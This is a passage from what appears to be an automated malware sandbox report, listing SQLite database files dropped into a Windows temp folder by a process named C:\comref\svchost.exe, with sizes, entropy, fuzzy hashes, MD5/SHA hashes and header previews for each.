                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sCtnYgy7mb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sDKdrPR9Z8

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sIO8MsGuPl

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sKJJZQepJ4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sMRoxdwHFV

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sYrizemBUM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sZVXAwLyYZ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\sdtiytFpjJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\seVY4iFlZR

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\srAiG7yBDb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ssSaxEhchj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\svNYw7PUpE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\t5nXdRVYm0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\tO25BPatvW

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\tOuu7J3Wdb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\tVA5UQzNrA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ta6c65Tc7j

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\tozHARTIBA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\tutxyoLViN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\u1PbQPaqf5

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\uWQuNv2O0z

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\uo5sT5QHWw

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\uoesEOJoo2

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\uvOQ4n91xp

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
